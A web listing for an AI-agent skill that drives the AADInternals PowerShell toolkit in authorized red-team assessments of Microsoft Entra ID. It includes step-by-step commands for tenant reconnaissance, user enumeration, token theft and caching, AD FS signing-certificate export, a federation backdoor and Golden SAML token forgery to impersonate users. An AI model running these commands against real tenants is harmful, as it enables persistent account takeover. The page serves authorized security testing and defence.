
Auditing Entra ID
FreePerform authorized security assessments on Microsoft Entra ID.
Free · Opens the source repo
What Auditing Entra ID does
The Auditing Entra ID skill leverages the AADInternals PowerShell toolkit to conduct thorough security assessments of Microsoft Entra ID (formerly Azure AD). This skill is designed for security professionals engaged in authorized red-team assessments, allowing them to perform tenant reconnaissance, access token acquisition, and testing for federation vulnerabilities, specifically Golden SAML attacks. By utilizing a variety of cmdlets, users can gather critical information about a tenant's configuration and security posture without requiring extensive credentials, making it an essential tool for proactive security validation.
With AADInternals, users can execute a range of tasks from unauthenticated reconnaissance to authenticated directory enumeration. The toolkit enables the enumeration of verified domains, tenant IDs, and federation types, as well as the acquisition of access tokens for various Microsoft APIs. It also includes capabilities to test for federation backdoors, providing a comprehensive approach to identifying potential security weaknesses. This skill is particularly valuable for organizations looking to validate their defenses against sophisticated attacks, such as those leveraging SAML token forgery techniques.
The skill is structured to guide users through a systematic workflow, starting with reconnaissance and progressing through token acquisition and directory enumeration. Each step is designed to provide actionable insights and evidence that can be used to strengthen security measures. Users are encouraged to document their findings and deliver recommendations for hardening the environment against identified vulnerabilities. This skill is best utilized in environments where explicit authorization has been obtained for security testing, ensuring compliance with legal and ethical standards.
When to use it
Use this skill during authorized red-team assessments of Entra ID or Microsoft 365 environments to evaluate security configurations and potential attack vectors.
When not to use it
This skill is not suitable for unauthorized testing or environments where explicit written authorization has not been obtained for security assessments.
What you can build with it
Red-Team Assessment
Utilize the skill during a red-team engagement to assess the security posture of a Microsoft Entra ID environment.
Token Acquisition Testing
Test the ability to acquire and manipulate access tokens across Microsoft APIs to identify potential security weaknesses.
Federation Configuration Review
Evaluate the configuration of federation and AD FS to ensure protection against Golden SAML attacks.
How to install Auditing Entra ID
View source1. Install with the skills CLI
npx skills add mukul975/anthropic-cybersecurity-skills/auditing-entra-id-with-aadinternals --agent claude-code2. Or install it manually
Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.
Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs
Inside SKILL.md
Written by mukul975Auditing Entra ID with AADInternals
Legal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.
Overview
AADInternals is the most comprehensive offensive/administrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios / Secureworks). It exposes hundreds of cmdlets (all prefixed AADInt) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS/PTA attacks, and the technique it is most famous for: federation backdoors that abuse the Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor path so an attacker who controls a federated domain's IssuerUri can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), the same class of technique used in the SolarWinds (Golden SAML) intrusions.
The toolkit separates capabilities by required position. Invoke-AADIntReconAsOutsider and Get-AADIntLoginInformation require no credentials — they query public endpoints (getuserrealm, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop/Seamless SSO is enabled. With a foothold, Get-AADIntAccessTokenFor* cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.
This skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation/AD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.
When to Use
- During an authorized Entra ID / Microsoft 365 red-team or assumed-breach assessment
- To enumerate external attack surface (verified domains, federation type, SSO) before credential attacks
- To validate that federation and AD FS token-signing certificates are protected against Golden SAML
- To test token acquisition and replay across Microsoft first-party APIs
- When building detections (pair with the blue-team Graph-log hunting skill) and you need real AADInternals telemetry
Prerequisites
- Written authorization covering identity-attack and federation-backdoor testing
- Windows host with PowerShell 5.1+ (or PowerShell 7 on the supported subset)
- For backdoor/federation tests: Global Administrator (or equivalent) in the target tenant, in scope per the ROE
- Install the module from the PowerShell Gallery:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # Cross-platform AsOutsider-only reimplementation (no creds) is also available: # https://github.com/synacktiv/AADOutsider-py - Familiarity with SAML/WS-Federation, OAuth tokens, and Azure AD Connect
Objectives
- Perform unauthenticated tenant reconnaissance and enumerate verified domains, tenant ID, and federation type
- Acquire and cache access tokens for Microsoft first-party APIs
- Enumerate users/groups/roles with an authenticated token
- Test the federation backdoor / Golden SAML path in a controlled, authorized manner
- Document exposure and deliver hardening recommendations (token-signing cert protection, federation monitoring)
MITRE ATT&CK Mapping
| ID | Technique | Application in this skill |
|---|---|---|
| T1606.002 | Forge Web Credentials: SAML Tokens | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken forge SAML tokens for arbitrary users via a controlled federation IssuerUri (Golden SAML) |
Related techniques: T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (token acquisition), T1556.007 Modify Authentication Process: Hybrid Identity (federation/PTA backdoors).
Workflow
Step 1: Unauthenticated outsider reconnaissance
No credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.
# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"
# Tenant GUID
Get-AADIntTenantID -Domain "target.com"
Step 2: External user enumeration (optional, noisy)
Validate whether usernames exist via the GetCredentialType / autologon endpoints.
# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "user1@target.com"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
Step 3: Acquire and cache access tokens
With valid credentials (or an interactive prompt), obtain tokens for the API you need. -SaveToCache lets later cmdlets reuse the token automatically.
# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
Step 4: Authenticated directory enumeration
Using a cached/acquired token, read directory objects to map privilege.
# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails
# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
Step 5: Inspect federation / AD FS configuration
Determine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.
# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
Step 6: Federation backdoor / Golden SAML (authorized only)
Convert a domain to a backdoor by setting a known IssuerUri, then forge a SAML token for a target user using that domain's ImmutableId. Only in a controlled tenant with explicit authorization.
# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.
# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml
Step 7: Document exposure and harden
Capture exactly what recon revealed, which tokens/APIs were reachable, and whether the backdoor/Golden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new/changed federation trusts, monitor Set-DomainAuthentication/Set-MsolDomainFederationSettings, and migrate where feasible to managed (cloud) authentication.
Tools and Resources
| Resource | Purpose | Source |
|---|---|---|
| AADInternals | Entra ID / AD FS attack & admin toolkit | https://github.com/Gerenios/AADInternals |
| AADInternals docs | Cmdlet reference and technique writeups | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | Cross-platform AsOutsider reimplementation | https://github.com/synacktiv/AADOutsider-py |
| Golden SAML background | Federation backdoor technique writeup | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https://attack.mitre.org/techniques/T1606/002/ |
Cmdlet Quick Reference
| Cmdlet | Position | Purpose |
|---|---|---|
Invoke-AADIntReconAsOutsider | None | Verified domains, tenant ID, federation type, SSO |
Get-AADIntLoginInformation | None | Realm/login details for a domain |
Get-AADIntTenantID | None | Tenant GUID |
Invoke-AADIntUserEnumerationAsOutsider | None | Validate user existence |
Get-AADIntAccessTokenForAADGraph | Creds | Azure AD Graph token (-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | Creds | Microsoft Graph token |
Get-AADIntAccessTokenForEXO | Creds | Exchange Online token |
Get-AADIntUsers | Token | Enumerate directory users |
ConvertTo-AADIntBackdoor | Global Admin | Convert a domain into a federation backdoor |
New-AADIntSAMLToken | Backdoor | Forge a SAML token for a user (Golden SAML) |
Open-AADIntOffice365Portal | SAML token | Open a portal session as the impersonated user |
Validation Criteria
- Outsider recon completed; verified domains, tenant ID, and federation type recorded
- User enumeration tested (or documented as out of scope)
- Access token acquired and cached for at least one Microsoft API
- Authenticated directory enumeration performed (users/roles, synced accounts noted)
- Federation / AD FS configuration assessed for token-signing key exposure
- Backdoor / Golden SAML path tested in an authorized controlled tenant or documented as out of scope
- Exposure documented with concrete impact
- Hardening recommendations delivered (cert protection, federation monitoring, managed auth migration)
Frequently asked questions about Auditing Entra ID
Similar skills
Cloudflare Security Audit
Perform authorized security audits on codebases.
Authenticated Scan with OpenVAS
Perform deep vulnerability scans using OpenVAS with credentials.
Active Directory Penetration Test
Conduct focused AD penetration tests with ease.
Active Directory BloodHound Analysis
Visualize Active Directory attack paths and risks.
Orchestrating LLM Attacks with PyRIT
Automate multi-turn adversarial attacks against LLMs.
Operating Sliver C2
Deploy and manage Sliver C2 for red-team engagements.
